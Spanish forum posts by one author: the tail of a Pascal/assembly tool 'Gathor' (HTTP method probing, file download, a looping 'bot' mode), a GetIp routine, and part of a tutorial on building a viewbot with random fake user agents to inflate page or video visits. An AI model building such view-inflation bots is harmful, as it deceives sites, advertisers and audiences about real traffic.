EDX,DWORD PTR SS:[EBP-4] 004084C6 |. B8 02000000 MOV EAX,2 004084CB |. E8 38A3FFFF CALL .00402808 // configuracion de los sockets 004084C6 |. 68 A0374100 PUSH .004137A0 ; /pWSAData = Project2.004137A0 004084CB |. 6A 01 PUSH 1 ; |RequestedVersion = 1 (1.0.) 004084CD |. E8 36FFFFFF CALL <JMP.&wsock32.WSAStartup> ; \WSAStartup 004084D4 |. 6A 00 PUSH 0 ; /Protocol = IPPROTO_IP 004084D6 |. 6A 01 PUSH 1 ; |Type 004084D8 |. 6A 02 PUSH 2 ; |Family = AF_INET 004084DA |. E8 19FFFFFF CALL <JMP.&wsock32.socket> ; \socket 004084DF |. A3 A0374100 MOV DWORD PTR DS:[4137A0],EAX *) procedure InitGathering(); var TcpData : PTcpData; // puntero a tcpdata nOpc : integer; begin {$IFDEF Host} __call_ix86_configureHost; // inicio la configuracion de parametros {$ENDIF} {$IFDEF Port} __call_ix86_configurePort; {$ENDIF} ASM PUSH EBX ADD ESP, 0FFFFFE70h PUSH ESP PUSH $1 // version CALL WSAStartup //WSAStartUp($1, WSData); PUSH $0 PUSH $1 PUSH $2 CALL SOCKET MOV DWORD PTR DS:[TcpSocket], EAX // Puntero a tcpsocket //TcpSocket:= Socket (AF_INET, SOCK_STREAM, ZERO); END; New(TcpData); // reservamos memoria para la estructura sAddr.sin_family:= af_inet; sAddr.sin_addr.s_addr:= inet_addr(__call_ix86_getip()); //INET_ADDR('173.194.42.209'); sAddr.sin_port:= htons(Port); //htons( StrToInt(ParamStr(2)) ); nOpc:= 4; // Opcion por default if (ParamStr(nOpc)<' ') then TcpData^.SendDataBuffer:= 'OPTIONS /index.html HTTP/1.0'+BL+BL; // Gathering automatico if (ParamStr(nOpc)>' ') then begin if (ParamStr(nOpc)='get_proto_0') then TcpData^.SendDataBuffer:= GET+STP+HTTP0+BL+BL; if (ParamStr(nOpc)='get_proto_1') then TcpData^.SendDataBuffer:= GET+STP+HTTP1+BL+BL; if (ParamStr(nOpc)='post_proto_0') then TcpData^.SendDataBuffer:= POST+STP+HTTP0+BL+BL; if (ParamStr(nOpc)='post_proto_1') then TcpData^.SendDataBuffer:= POST+STP+HTTP1+BL+BL; if (ParamStr(nOpc)='options_proto_0') then TcpData^.SendDataBuffer:= OPTIONS+STP+HTTP0+BL+BL; if (ParamStr(nOpc)='options_proto_1') then TcpData^.SendDataBuffer:= OPTIONS+STP+HTTP1+BL+BL; if (ParamStr(nOpc)='head_proto_0') then TcpData^.SendDataBuffer:= HEAD+STP+HTTP0+BL+BL; if (ParamStr(nOpc)='head_proto_1') then TcpData^.SendDataBuffer:= HEAD+STP+HTTP1+BL+BL; end; try WriteLn('[Conectando al servidor]: ', __call_ix86_getip()); Winsock.Connect(TcpSocket, sAddr, sizeof(sAddr)); WriteLn('[Parametro]: ', TcpData^.SendDataBuffer ); Winsock.Send(TcpSocket, TcpData^.SendDataBuffer, StrLen(TcpData^.SendDataBuffer), MSG_DONTROUTE); Winsock.Recv(TcpSocket, TcpData^.RecvDataBuffer, BSIZE, SD_RECEIVE); WriteLn(TcpData^.RecvDataBuffer); finally Dispose(TcpData); Shutdown(TcpSocket, SD_BOTH); CloseSocket(TcpSocket); WSACleanUp(); end; end; function RandomHashes(LenDict:integer):string; const BuffHash : Array[0..BUFFSIZE] of Char= ( 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '=', '?', '-' ); var iHash : Integer; PBuffHash : Char; begin iHash:= Length(BuffHash)-LenDict; repeat Randomize; PBuffHash:= BuffHash[Random(Length(BuffHash))]; asm @@StartUp: DEC(iHash); end; Result:= Result+PBuffHash; until (iHash<ZERO); Result:= Result; ZeroMemory(Addr(iHash), SizeOf(iHash)); ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash)); end; function DownloadInetFile(urlhandle:HInternet; const nfile:string): string; var Buffer : array [0..1024] of char; bytesRead : DWORD; txtFile : TextFile; begin Result:= ''; {$I-} if nfile>'' then begin {$DEFINE CONFIGURE_INTERNET_FILE} assignfile(txtFile, nfile); rewrite(txtfile); end; {$I+} {$IFDEF CONFIGURE_INTERNET_FILE} fillchar(buffer, sizeof(buffer), ZERO); // inicializamos el buffer repeat result:= result+buffer; internetreadFile(urlhandle, @buffer, sizeof(buffer), bytesread); {$I-}if nfile>'' then write(txtfile, buffer);{$I+} writeln(buffer); until bytesread=0; {$ENDIF} {$UNDEF CONFIGURE_INTERNET_FILE} {$I-}closefile(txtfile);{$I+} end; function OpenINet(url, nFile :string; HashLen, Secs, Opc: integer ) : BOOL; var hInet, hUrl : hInternet; NHash : PChar; Init : BOOL; begin NHash:= PChar( RandomHashes(HashLen) ); hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO); if assigned(hInet) then begin hUrl:= InternetOpenUrl(hInet, PChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD, INTERNET_SERVICE_HTTP); if assigned(hUrl) then begin if Opc=$02 then begin DownloadInetFile(hUrl, nFile); end else if Opc=$03 then begin DownloadInetFile(hUrl, ''); end else begin Result:= true; WriteLn('[Hash generado]: '+ NHash); end; end else begin WriteLn('Se ha producido un error en la conexion... '); Result:= false; end; end; // assigned Sleep(Secs*1000); InternetCloseHandle(hInet); InternetCloseHandle(hUrl); FreeMemory(NHash); end; procedure CALLBACK_DownloadInetFile(nFile:string; HashLen, Secs:integer); begin {$IFDEF Host} __call_ix86_configureHost; // configura el primer parametro como Host {$ENDIF} OpenInet(Host, nFile , HashLen, Secs, $02 ); end; procedure InitIrb; var Init : BOOL; cIrb : integer; begin Init:= true; {$IFDEF Host} __call_ix86_configureHost; {$ENDIF} WriteLn('Apreta (F5) para salir del bot.'); while Init do begin if OpenInet( Host, '' , HASHKEY, StrToInt( ParamStr(3) ), ZERO ) then begin inc(cirb); writeLn( '[Servidor visitado]: ', ParamStr(2), #13#10 +'[Ip]: ', __call_ix86_getip(), #13#10+'[Numero de veces]: ', cirb, #13#10 +'============================' ); end else begin writeLn(#13#10+'Ha surgido un problema en la conexion...'); end; if __call_ix86_interceptF5() then begin Init:= false; WriteLn(#13#10+'Opcion salida por el usuario.'); end; end; ZeroMemory(Addr(cirb), sizeof(cirb)); end; var Input : integer; Output : string; Opc : array[1..2] of Byte = ($01, $02); begin {$O+} writeln ( ' _____ _ _' , #13#10, '| __ \ | | | |' , #13#10, '| | \/ __ _| |_| |__ ___ _ __ ' , #13#10 , '| | __ / _` | __| _ \ / _ \| __|' , #13#10 , '| |_\ \ (_| | |_| | | | (_) | | ' , #13#10 , ' \____/\__,_|\__|_| |_|\___/|_| ' , #13#10 , #9#9,'-==0.5 by - WarZ0n3==-' , #13#10#9, 'Happy Hacking...', #13#10 ); try if pos('-h', ParamStr(1))<>0 then writeln(#13#10, #9, '-m = metodos http usados para gathering(-g)', #13#10#9, '-h = me estas viendo bebe.', #13#10#9, '-d = descarga archivo : <www.sitio><nombre_archivo_a_guardar>', #13#10#9, '-b = modo bot(spam-sitio) : <www.sitio><intervalo_en_segundos>', #13#10#9, '-g = modo gathering : <www.sitio><puerto><metodo_http>', #13#10#9, '-r = lee un archivo de un sitio web : <www.sitio/archivo.ext>' ); if pos('-m', ParamStr(1))<>0 then writeln( #13#10#9, 'Los siguientes comandos permiten hacer', #13#10#9, 'peticiones HTTP por distintas opciones,', #13#10#9, 'GET, POST, HEAD, ETC... y version del', #13#10#9, 'protocolo respectivamente 1.0 o 1.1', #13#10 , #13#10#9, 'get_proto_0 -> metodo GET por HTTP/1.0' , #13#10#9, 'get_proto_1 -> GET por HTTP/1.1', #13#10#9, 'post_proto_0 -> POST por HTTP/1.0', #13#10#9, 'post_proto_1 -> POST por HTTP/1.1', #13#10#9, 'options_proto_0 -> OPTIONS por HTTP/1.0' , #13#10#9, 'options_proto_1 -> OPTIONS por HTTP/1.1', #13#10#9, 'head_proto_0 -> HEAD por HTTP/1.0' , #13#10#9, 'head_proto_1 -> HEAD por HTTP/1.1', #13#10#9#13#10#9, 'Ejemplo del gathor : -g www.facebook.com 80 get_proto_1', #13#10 ); if pos('-d', ParamStr(1))<>0 then begin if ParamCount=3 then CALLBACK_DownloadInetFile(ParamStr(3), 55, 1) else Write(#13#10, 'Parametros: <opcion><www.sitio><ruta+nombre_archivo_a_guardar>'); end; if pos('-b', ParamStr(1))<>0 then begin if ParamCount=3 then InitIrb() else Write(#13#10, 'Parametros: <opcion><www.sitio/video_a_aumentar><intervalo_en_segundos>'); end; if pos('-g', ParamStr(1))<>0 then begin if ParamCount=4 then InitGathering() else Write(#13#10, 'Parametros: <www.sitio><puerto><metodo_http>'); end; if pos('-r', ParamStr(1))<>0 then begin if ParamCount=2 then begin {$IFDEF Host} __call_ix86_configureHost; {$ENDIF} OpenINet(Host, '', 55, 1, 3 ); end else begin Write(#13#10, 'Parametros: <www.sitio/archivo.ext>'); end; end; except end; {$O-} end.
gathor con parametro -r gathor con parametro -d gathor con parametro -h y -m gathor con parametro -g por medio del metodo get gathor con parametro -g por medio del metodo post gathor con parametro -g por medio del metodo head gathor con parametro -g por medio del metodo options
|
|
|
3
|
Programación / Programación General / [Pascal+ASM] Funcion GetIp en asm
|
en: 6 Agosto 2013, 05:52 am
|
Hace no mucho había escrito una función en pascal usando WinSocks llamada GetIp, aquí les dejo el post: http://foro.elhacker.net/programacion_general/pascal_gathor_01_recolector_de_informacion-t396062.0.html Básicamente conseguía la IP de un sitio pasado como parámetro, pero el ensamblado que le había hecho era bastante malo, hoy que tuve un rato, lo desensamble(bendito IDA ) y modificando el desensamblado logre reconstruir la función pero en assembler. Reduje el código de la vez pasada para que quede bien legible, y se entienda. Aquí la función (compilada en delphi 7), ojala les sirva program Gathor; {$APPTYPE CONSOLE} (***********************************) (* Funcion GetIp por WarZ0n3 *) (* Explicacion: *) (* PoC usando Winsocks en assembly *) (* Uso: *) (* Consigue la IP de un sitio web *) (* pasado como argumento *) (***********************************) uses SysUtils, Windows, WinSock; var SITE : string; (* Reporte por WarZ0n3 00408174 /$ 53 PUSH EBX 00408175 |. 81C4 70FEFFFF ADD ESP,-190 0040817B |. 54 PUSH ESP ; /pWSAData 0040817C |. 6A 01 PUSH 1 ; |RequestedVersion = 1 (1.0.) 0040817E |. E8 91FFFFFF CALL <JMP.&wsock32.WSAStartup> ; \WSAStartup 00408183 |. 90 NOP 00408184 |. 90 NOP // Solo para demostracion en el stack 00408185 |. 90 NOP 00408186 |. 68 B8814000 PUSH Project2.004081B8 ; /Name = "www.youtube.com" 0040818B |. E8 7CFFFFFF CALL <JMP.&wsock32.gethostbyname> ; \gethostbyname 00408190 |. 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 00408193 |. 33D2 XOR EDX,EDX 00408195 |. 90 NOP 00408196 |. 90 NOP // Solo para demostracion en el stack 00408197 |. 90 NOP 00408198 |. 90 NOP 00408199 |. 8B0490 MOV EAX,DWORD PTR DS:[EAX+EDX*4] 0040819C |. FF30 PUSH DWORD PTR DS:[EAX] 0040819E |. E8 61FFFFFF CALL <JMP.&wsock32.inet_ntoa> 004081A3 |. 8BD8 MOV EBX,EAX 004081A5 |. 90 NOP 004081A6 |. 90 NOP // Solo para demostracion en el stack 004081A7 |. 90 NOP 004081A8 |. 90 NOP 004081A9 |. E8 6EFFFFFF CALL <JMP.&wsock32.WSACleanup> ; [WSACleanup 004081AE |. 8BC3 MOV EAX,EBX 004081B0 |. 81C4 90010000 ADD ESP,190 004081B6 |. 5B POP EBX 004081B7 \. C3 RETN *) function GetIP(): PChar; assembler; asm PUSH EBX ADD ESP, 0FFFFFE70h PUSH ESP PUSH 1 CALL WSASTARTUP NOP NOP NOP PUSH SITE // 04081B4h CALL GetHostByName MOV EAX, [EAX+0Ch] XOR EDX, EDX NOP NOP NOP MOV EAX, [EAX+EDX*4] PUSH DWORD PTR [EAX] CALL INET_NTOA MOV EBX, EAX CALL WSACleanup MOV EAX, EBX ADD ESP, 190h POP EBX RETN end; begin SITE:= ParamStr(1); WriteLn('[Sitio web]: ', SITE, #13#10+'[Ip]: ', GetIP()); end.
|
|
|
4
|
Programación / Programación General / [Tutorial] Programado un viewbot en pascal usando APIS
|
en: 3 Agosto 2013, 18:50 pm
|
Lo prometido es deuda, hace un tiempo había echo un pequeño Viewbot, y al parecer a la gente le ha gustado, hoy les traigo algunas de las técnicas para programarlo lo más eficiente posible.. claro que lo haremos con las APIS WinInet, Winsock y más... ===============================
0)¿Por que Pascal?. 1)Introducción. 2)Conocimientos previos. 3)Desarrollando con la libreria WinInet. 4)Hablando de “Return” y “Result” en Pascal. 5)Probando nuestro robot por primera vez. 6)Convirtiendo nuestra PC en un servidor web de pruebas. 7)Creando un contador de visitas en PHP y algo más... 8)Hashes mixtos para nuestra maquina. 9)Un vistazo a la programación monolítica. 10)Limpiando variables en memoria(Apartado de optimizacion 1º parte). 11) Probando nuestro viewbot por 2º vez. 12) Usando el API Winsock para obtener Ips. 13)Finalizando. 14) Probando nuestro viewbot por 3º vez!. 15)Usando StripReloc para hacer el ejecutable mas pequeño y su relación con .reloc(Apartado de optimizacion 2º parte). 16)Mirando en LordPe la sección .reloc. 17)Viendo el Stack y el Heap con WinDbg. 18)Despedida.
=============================== 0)¿Por que Pascal?: Porque es un lenguaje muy potente, sin dudarlo a la altura de C++, que lo supera en algunos aspectos y como comentario personal, se puede decir que en pascal se han programado grandes troyanos y/o herramientas de hacking. Pascal tanto como C, lamentablemente son tomados por los novatos de la programación como “lenguajes de alto nivel”, pero esto es completamente falso, ambos son LENGUAJES DE PROPOSITO GENERAL, esto quiere decir que podemos programar tanto a alto nivel, como a medio nivel, o bajo nivel(asm y mas, incluso se pueden hacer drivers). Por ejemplo, el FPC compila 10% mas rapido que el GCC, pueden encontrar mas información acerca de este lenguaje aquí: http://es.wikipedia.org/wiki/Pascal_(lenguaje_de_programaci%C3%B3n) 1)Introduccion: Antes de comenzar con el tutorial les pido que si deciden distribuir este material, mencionen al autor por respeto y por que seria(en mi opinión) la forma mas sumisa de darme las gracias si te ha servido, mi nombre es WarZ0n3 y me puedes encontrar en el los foros de http://foro.elhacker.net o http://www.indetectables.net.
El uso de Wininet no esta muy documentado, no he encontrado demasiada información al respecto, y es un hecho que gran parte de los códigos que se pueden encontrar en la red fueron hechos como ejemplos, por lo que realmente pasare a decir que lo aquí explicado, se comentara lo mas posible. Ademas el uso de robots, spamers publicitario etc.. no es un tema nuevo(aunque nunca vi un tutorial de como programar uno), por esto se me ocurrió hablar sobre este tema, pero cuando se saben usar APIS como winsock, wininet, etc.. sea en C++ o pascal y usando tu sentido común podrás desarrollar un viewer, lo suficientemente poderoso y profesional para el mercado. Pero RECUERDEN que este es un tutorial para aquellos iniciados en el tema de las APIS. Así que basta de rodeos y a empezar. 2)Conocimientos previos: Si no sabes usar APIS, o eres un iniciado en pascal, no debes preocuparte, ya que este tutorial se enfoca en las personas que recién empiezan. No sondeare sobre como desensamblar código para hacer las funciones en asm puro y se ejecuten mas rápido (esto por si lo ven en códigos futuros míos), tal vez para otro tutorial, eso puede aprenderse en shellcoding (de hecho así lo aprendí yo). 3)Desarrollando con la librería WinInet: Wininet es una dll que puedes encontrar en System32 de tu windows, y es la encargada de las funciones de internet. La importancia de usarla es que, como toda API, se pueden hacer cosas muy profesionales arbitrariamente hablando, también tomar en cuenta la optimización de código, y que siempre es mejor usar apis, en vez de componentes externos o indys. No tengo nada contra de estos, incluso hay veces que debo recurrir a ellos. Lo primero sera agregarla en USES para poder usarla, y para ello abrimos delphi 7 nos vamos a file->new->other y elejimos console application. Ahora crearemos una función la cual se encargara de hacer peticiones a una pagina que nosotros le pasemos como argumento: // Uses: Requerimientos para usar la librería wininet y otras funciones de las que nos provee pascal uses WinInet, Windows, SysUtils; // aplicación de tipo consola {$APPTYPE CONSOLE} // directiva del compilador usada para añadir un símbolo especifico en la cabecera de C++ generada {$HPPEMIT '#include <wininet.h>'} // otro ejemplo {$HPPEMIT 'struct myVar'}, obviamente generada desde la cabecera de C++ // constantes que usaremos como parámetros en las funciones de wininet (* recordemos que podemos usar valores hexadecimal para las definiciones, de echo muchas se proveen de esta forma (por lo que yo recomiendo mucho esto), también tengan presente que deben ser 8 dígitos (1 octeto), si no saben hexa usen la calculadora de windows en modo científico. NOTA RAPIDA: en pascal los valores hexadecimales son definidos con el simbolo $ adelante *) const INTERNET_OPEN_TYPE_PRECONFIG = $00000000; (* Usa la configuracion del registro(por defecto) *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG} INTERNET_OPEN_TYPE_DIRECT = $00000001; (* Acceso directo a la red *) {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT} INTERNET_OPEN_TYPE_PROXY = $00000003; (* Acceso via proxy *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY} INTERNET_FLAGS_MASK = INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_COOKIES; {$EXTERNALSYM INTERNET_FLAGS_MASK} ZERO = $00000000; HTTP = 'http://';
En pascal existen 3 tipos de comentarios: // comentario 1(inline) {comentario 2 equivalente a /**/ en c++} (* comentario 3 equivalente a /**/ en c++ *)
NOTA: No es lo mismo hacer {} que {$}, cuando hacemos esto {$} en realidad hablamos de directivas del compilador, si saben c++ deberían entender a que me refiero. #define ... // Esta directiva impide a pascal que se sobrecarguen rutinas, ya definidas en los headers de C++ // ejemplo: {$EXTERNALSYM <VARIABLE_O_FUNCIÓN>}
Creando la función: function RequestInternet(url:string): BOOL; var hInet, hUrl : hInternet; begin hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO); if assigned(hInet) then begin hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP); if assigned(hUrl) then begin Result:= true; end else begin Result:= false; end; end; InternetCloseHandle(hInet); InternetCloseHandle(hUrl); end;
“if assigned”: esta función chequea si la referencia no es de tipo nula (NIL), si lo es retorna FALSE y si no es nula retorna TRUE ej: if assigned(Puntero) then begin … <codigo> … end; hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
Básicamente inicializa el uso de las funciones de Wininet. Pueden encontrar mas información al respecto en : http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx msdn nos dice que los parámetros son: HINTERNET InternetOpen( LPCTSTR lpszAgent, // USER-AGENT del protocolo HTTP (luego lo cambiaremos) DWORD dwAccessType, // Tipo de acceso, es este caso el pre-configurado. LPCTSTR lpszProxyName, // Usados para proxys LPCTSTR lpszProxyBypass, DWORD dwFlags );
hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
Usada para el acceso a internet (también puede usarse para el protocolo FTP). Y el HTTP+url, es el definido en las constantes mas el parámetro de la función. Los demás parámetros según la msdn: HINTERNET InternetOpenUrl( HINTERNET hInternet, // Handler a OpenInternet(que inicializamos previamente) LPCTSTR lpszUrl, // Url pasada como argumento (ej: http://www.youtube.com&#38;#41; LPCTSTR lpszHeaders, // tipo de lectura en HTTP, FTP, o HTPPS (son soportados) DWORD dwHeadersLength, DWORD dwFlags, DWORD_PTR dwContext );
Y nos retorna un NULL si la conexión ha fallado. Otra cosa es que podríamos haber usado InternetConnect, no entrare en detalles, tal ves para otra entrega y otro tipo de spamer, pero me limitare a decir que esto puede ser en caso de querer logearnos automáticamente(con autentificación ) a un sitio web, y seria cuestión de saltarse los captchas, si es que los tiene, por esto solo utilizaremos “openurl”, ya que solo queremos generar visitas y nada más. InternetCloseHandle(hInet); InternetCloseHandle(hUrl);
Cierra el/los manejadores de internet... mas información aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/aa384350&#40;v=vs.85&#41;.aspx(Recordemos siempre liberar memoria, cerrando handlers correctamente, y variables (mas si son de tipo puntero). NOTA: Hinternet según wininet.pas son de tipo punteros, así que podríamos haber echo lo mismo de la siguiente forma: hInet, hUrl : Pointer;
Si lo hacen así recomiendo usar FreeMemory(hInet), etc... 4)Hablando de return y result en Pascal: En pascal no hay return como tal, pero alternativamente nos valemos de Result, el cual se crea (automáticamente) cuando se inicia la función en memoria, este contiene el resultado de dicha función y puede ser usada a lo largo del programa. Para este ejemplo se uso un booleano que nos devuelve true si la sesión fue exitosa y false si no lo fue. Entonces el código hasta el momento nos debe quedar así: program rweb; uses WinInet, Windows, SysUtils; {$APPTYPE CONSOLE} {$HPPEMIT '#include <wininet.h>'} const INTERNET_OPEN_TYPE_PRECONFIG = $00000000; (* Usa la configuracion del registro(por defecto) *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG} INTERNET_OPEN_TYPE_DIRECT = $00000001; (* Acceso directo a la red *) {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT} INTERNET_OPEN_TYPE_PROXY = $00000003; (* Acceso via proxy *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY} INTERNET_FLAGS_MASK = INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_COOKIES; {$EXTERNALSYM INTERNET_FLAGS_MASK} ZERO = $00000000; HTTP = 'http://'; function RequestInternet(url:string): BOOL; var hInet, hUrl : hInternet; begin hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO); if assigned(hInet) then begin hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP); if assigned(hUrl) then begin Result:= true; end else begin Result:= false; end; end; InternetCloseHandle(hInet); InternetCloseHandle(hUrl); end; // inicializamos el programa con la funcion begin if RequestInternet( string(ParamStr(1)) ) then begin writeLn('Sesion exitosa'); end else begin writeLn('Ha surgido un problema en la conexion...'); end; end.
Dentro de begin y end. (no end;), se inicia el programa, y el end. (con punto) remarca la finalización del código. ParamStr(1) es el argumentos de la aplicación (el que le pasaremos como parámetro cuando la ejecutemos). Osease rweb 'pagina a visitar'. 5)Probando nuestro robot por primera vez: Simple y eficaz, luego agregaremos más características, como user agents hasheados en una variable random, que dará como resultado user-agents falsos, pero por ahora el código esta bien y es necesario probarlo antes de continuar. Entonces naveguemos hasta el directorio de nuestro projecto y hagan lo que se muestra en la imagen (yo copie mi rweb.exe en C:/ ) Como vemos en el primer ejemplo “rweb localhost”(por si no ves la imagen), nos indica que la sesión fue exitosa (ya que tengo xampp corriendo).
Y en el segundo ejemplo vemos “ha surgido un problema en la conexión” ya que visitamos una web no existente, el http:// adelante no lo agregamos por que en nuestro código previo ya lo habíamos hecho. 6) Convirtiendo nuestra PC en un servidor web de pruebas: Si no sabes que es xampp, wampp, etc.. te recomiendo que te pases por aca: http://es.wikipedia.org/wiki/XAMPP no entraremos en este tema, por que es irrelevante, ya que este es un tutorial sobre desarrollo de viewbots, pero básicamente esto convierte tu maquina en un servidor web (y es necesario para hacer las pruebas locales), lo puedes descargar de acá: http://www.apachefriends.org/es/xampp.html y para instalarlo te dejo esta guía: http://vagabundia.blogspot.com/2012/07/como-instalar-xampp-en-windows.html Eso sera suficiente para entrar en “localhost” o lo que es lo mismo “127.0.0.1” . 7)Creando un contador de visitas en PHP y algo más... : En el ejemplo anterior vimos que nuestro pequeño bot funciona, y hasta nos avisa que la sesión fue exitosa, ¿pero realmente como sabemos que así fue?, y mas importante aun, como podemos tener un control de ello, antes de adelantarnos a agregar mas en nuestro código haremos un simple contador de visitas en PHP y ademas haremos que nos diga nuestra IP y USER-AGENT(navegador), también lo guardaremos en un archivo .txt . NOTA RAPIDA: en Xampp la carpeta para entrar al index y agregar nuestra pagina es C:/xampp/htdocs en otros servicios es probable encontrar la carpeta en /www .
Código en PHP (crea un archivo con la extensión .php que se llame contador y guardala en htdocs): <?php // Encargada de capturar la ip (o ip remota en el caso de que sea en la web). $ip=$_SERVER['REMOTE_ADDR']; // Captura el navegador. $user_agent=$_SERVER['HTTP_USER_AGENT']; echo "Tu ip real es: ".$ip; echo "<br>Y tu navegador es: ".$user_agent; // Archivo en donde se acumulará el numero de visitas $contador = "contador.txt"; // Archivo en donde se guardara tu ip y navegador. $info = "ips.txt"; // Abrimos el archivo para solamente leerlo (r de read) $abre_visitas = fopen($contador, "r"); // Leemos el contenido del archivo // Cerramos el archivo // Abrimos nuevamente el archivo $abre_visitas = fopen($contador, "w"); // Sumamos 1 nueva visita $total = $total + 1; // Y reemplazamos por la nueva cantidad de visitas $grabar_visitas = fwrite($abre_visitas, $total); // Cerramos la conexión al archivo // Imprimimos el total de visitas dándole un formato echo "<br><br><i>Total de visitas: ".$total; // abrimos el segundo archivo donde ira la ip y navegador. $abre_datos= fopen($info, "a+"); // lo escribimos (PHP_EOL es un salto de linea). $grabar_datos = fwrite($abre_datos, PHP_EOL ."Tu ip es: ".$ip.PHP_EOL ."Tu navegador es: ".$user_agent); ?>
Como vemos el código es bastante básico, pero la idea no es mala y con esto bastara para saber el navegador con el que se loguea nuestro bot y cuantas veces lo hace. Haremos otra visita, pero esta ves al “contador.php” En la imagen podemos observar el total de visitas, 5 que hice comúnmente, y la numero 6 del bot, vamos a la carpeta xampp/htdocs y veamos los ficheros formados y que contienen. Muy bien, tenemos “contador.txt” con el numero 6, y “ips.txt” con los navegadores visitados y la ip, en la imagen podemos observar que el ultimo (el remarcado con azul) dice: Tu navegador es: USER-AGENT: ROBOTExelente! Esto quiere decir que nuestro pequeño bot dio resultado. ¿Recuerdan esto?: hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
Pues hay lo tienen!. 8)Hashes mixtos para nuestra maquina: Nuestro próximo objetivo es hacer hashes que se generen automáticamente, y con una llamado de “Ramdom” se creen al azar, crearemos una nueva función llamada RandomHashes arriba de RequestInternet, entonces nuestro código sera el siguiente: const: BUFFSIZE = $00000041; // 65d function RandomHashes(LenDict:integer):string; const BuffHash : Array[0..BUFFSIZE] of Char= ( 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '=', '?', '-' );
Creamos 2 constantes, la primera llamada BUFFSIZE fuera de la función, que tendrá la longitud de nuestro diccionario , y la segunda constante(dentro de la función) tendrá nuestro diccionario de letras que se generaran al azar. NOTA: $00000041(hex) en decimal es 65, osea que nuestro diccionario tiene 66 de longitud real (por que el array se inicializa en zero y también es contado como lugar). Ahora lo que haremos sera generar el hash, y lo imprimiremos en pantalla, esto es para asegurarnos de que la función esta haciendo su trabajo correctamente. var iHash : Integer; PBuffHash : Char; repeat iHash:= Length(BuffHash)-LenDict; repeat Randomize; PBuffHash:= BuffHash[Random(Length(BuffHash))]; asm @@StartUp: DEC(iHash); end; Result:= Result+PBuffHash; until (iHash<ZERO); Result:= Result; ZeroMemory(Addr(iHash), SizeOf(iHash)); ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));
Tranquilos que esto es muy fácil, solo hay que desmenuzar el código y analizarlo con tranquilidad. iHash: sera la longitud de la variable “BuffHash” que como vimos anteriormente es la que contiene nuestro diccionario.
PbuffHash: Sera de tipo Char y contendrá como dato nustro hash.
Randomize: es un procedimiento(procedure), NO! una función.
y básicamente genera números al azar en conjunción con la función Ramdom, que ya veremos. PBuffHash:= BuffHash[Random(Length(BuffHash))];
Acá lo que estamos haciendo es decirle a PbuffHash, que almacene nuestro diccionario, que es de tipo char(por esto te comentaba que ambas variables deben ser de tipo Char). Random();
es una función que genera números al azar y length(BuffHash);
repito de nuevo, sera la longitud de nuestro diccionario en la que se generara el hash. asm @@StartUp: DEC(iHash); end;
Recordemos que siempre el código en ensamblador se ejecuta mas rápido, y así de alguna manera estamos pre-optimizando nuestro código. 9)Un vistazo a la programación monolítica: Aquellos que sean programadores de la vieja escuela sabrán que antes no existía la programación estructurada como tal, por lo que se hacía con labels, o etiquetas, por esto usar gotos es una mala manera de programar aun que en algunos casos no queda remedio... @@Startup: Sera nuestra etiqueta de comienzo algo así como una referencia en el código, y DEC lo que hace es decrementar en 1 la variable pasada como argumento, mas adelante explicare por que.
Repeat y until (iHash<ZERO);
Repite nuestro código(generando char por char en PbuffHash) hasta que se cumpla una condición, por ejemplo lo que vimos anteriormente es que estamos decrementando iHash(contenedor de la longitud de nuestro diccionario) en 1, osea que nuestro until se dejara de ejecutar cuando este llegue a zero, y la variable que le pase “ZERO” es la constante definida anteriormente. Result:= Result+PBuffHash;
